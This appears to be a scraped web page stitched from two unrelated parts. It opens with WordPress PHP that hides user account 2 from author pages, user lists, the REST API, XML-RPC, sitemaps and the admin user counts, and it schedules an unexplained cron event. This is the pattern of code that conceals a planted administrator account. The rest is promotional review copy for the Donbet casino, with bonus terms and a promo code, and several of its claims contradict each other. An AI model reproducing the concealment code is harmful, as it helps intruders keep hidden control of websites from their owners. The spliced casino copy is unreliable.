add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Donbet hosts around 400 titles, divided evenly between slots, table games, and live dealer experiences. The slots range from classic three‑reel machines to high‑volatility video slots that feature progressive jackpots. Live tables include European Roulette, Blackjack, and a limited selection of baccarat variants. The casino runs on a mix of well‑known providers such as Microgaming, NetEnt, and Evolution Gaming, and the presence of Evolution signals a smooth, professionally produced live dealer experience.
Table game enthusiasts can enjoy a variety of betting limits, but the selection of table types remains modest compared to larger operators. The live dealer section, powered by Evolution, provides real‑time video feeds and a chat function, giving the feel of a brick‑and‑mortar casino.
The welcome offer is a 200% match bonus up to £200, coupled with 30 free spins on a popular slot title. While the amount is generous, the wagering requirement sits at 35x, which is higher than the industry average for UK players. The bonus also carries a maximum cashout limit of £500, a detail that can surprise those who expect a straightforward payout.
Donbet’s ongoing promotions include a weekly “Spin the Wheel” feature that rewards players with free spins, cashback, or bonus cash. There is a no‑deposit bonus available for new registrants, but it is limited to a single £20 credit and requires a qualifying deposit to activate the free spins. The casino’s promo code system is straightforward: entering the code “DONTOP” during registration grants an extra 10 free spins on a selected slot.
For those who prefer a straightforward route, the donbet sign up process is simple: a short form, a mobile phone verification, and a choice between a UK or international account. No hidden steps or lengthy KYC procedures are required to start playing.
Deposits are processed instantly via popular UK payment methods: Visa, Mastercard, PayPal, and Apple Pay. The casino also accepts cryptocurrency for those who value anonymity, though the list of supported coins is limited to Bitcoin and Ethereum. Withdrawal times vary: standard bank transfers settle within 3–5 business days, while instant methods such as PayPal complete within 24 hours. Crypto withdrawals, however, can take up to 10 days due to network confirmations.
Donbet holds a UK Gambling Commission licence, ensuring compliance with player protection standards and anti‑money‑laundering protocols. The site employs SSL encryption and a dedicated security team that monitors for suspicious activity. Despite this, a notable limitation is that the casino does not support UK e‑wallets such as Skrill or Neteller, which can be inconvenient for players who rely on these methods for speed and privacy.
The mobile site is responsive and retains most desktop functionalities, including the full game catalogue and live dealer streams. However, the interface can feel cluttered during high‑traffic periods, and some slots with heavy graphics load slowly on older devices. Donbet does not yet offer a dedicated app, which means players must rely on the mobile web version for on‑the‑go gaming. This absence is a minor drawback for those who prefer a native app experience.
Pros:
Cons:
For UK players seeking a casino with solid software backing and a straightforward sign‑up process, Donbet offers a reliable option. The main caveat is the higher wagering requirement, which means patience is needed to unlock the full value of the bonus. Overall, Donbet balances a wide range of games with solid security, making it a credible choice for casual and seasoned players alike.
You need to deposit at least £10 to qualify for the 200% match bonus, though higher deposits unlock larger bonuses.
Yes, Donbet offers a fully responsive mobile platform that supports all live dealer titles.